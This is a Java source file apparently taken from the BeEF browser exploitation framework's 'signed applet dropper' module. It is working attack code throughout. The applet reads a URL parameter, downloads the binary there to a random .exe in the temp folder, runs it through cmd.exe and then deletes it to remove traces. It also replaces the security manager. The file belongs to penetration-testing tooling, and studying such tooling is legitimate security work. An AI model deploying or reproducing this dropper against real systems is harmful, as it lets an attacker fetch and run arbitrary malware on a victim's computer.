Path: blob/master/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.java
1154 views
/*1* Copyright (c) 2006-2025Wade Alcorn - [email protected]2* Browser Exploitation Framework (BeEF) - https://beefproject.com3*4* author: antisnatchor5*/6import java.applet.*;7import java.awt.*;8import java.io.*;9import java.util.*;10import java.net.URL;1112public class SignedApplet extends Applet {1314public static String debug = "false";15public static String bin_url = "";16public static String bin_path = "";17public static boolean download = false;1819public void init(){20bin_url = (String)getParameter("url");21String bin_rand_name = Long.toString(Math.abs((new Random()).nextLong()), 36);22bin_path = System.getProperty("java.io.tmpdir") + File.separator + bin_rand_name + ".exe";2324// grab operating system -> not used atm25// TODO: make the applet compatible also with Linux/OSX26String os = System.getProperty("os.name").toLowerCase();27execute();28}2930public SignedApplet(){31super();32SecurityManager sm = new SM();33System.setSecurityManager(sm);34return;35}3637public static boolean download(){38boolean success = false;39try{40URL url = new URL(bin_url);41InputStream is = url.openStream();42BufferedInputStream isbuf = new BufferedInputStream(is);43File bin_out = new File(bin_path);44OutputStream out = new BufferedOutputStream(new FileOutputStream(bin_out));45byte[] buf = new byte[1024];46for (;;){47int bs = isbuf.read(buf);48if (bs <= 0) break;49out.write(buf, 0, bs);50}51out.flush();52out.close();53is.close();54success = true;55return success;56}catch(Exception e){57return success;58}59}6061public static String execute() {62String result = "";63String command = "";64try{65boolean downloadOk = download();66System.out.println("Download [" + downloadOk + "] - bin_path [" + bin_path + "]");67result = "Download [" + downloadOk + "] - bin_path [" + bin_path + "]";6869if(downloadOk){70// TODO: make the applet compatible also with Linux/OSX71command = "cmd.exe /c \"" + bin_path + "\"";72Process p = Runtime.getRuntime().exec(command);73p.waitFor();74/// delete dropped binary75new File(bin_path).delete();76result += "\n\nExecution OK.";77}else{78//downloading of dropper failed, catch error..79result = "Download error.";80}81}catch (Exception e) {82result = "Exception!!!: \n";83}84return result;85}86}878889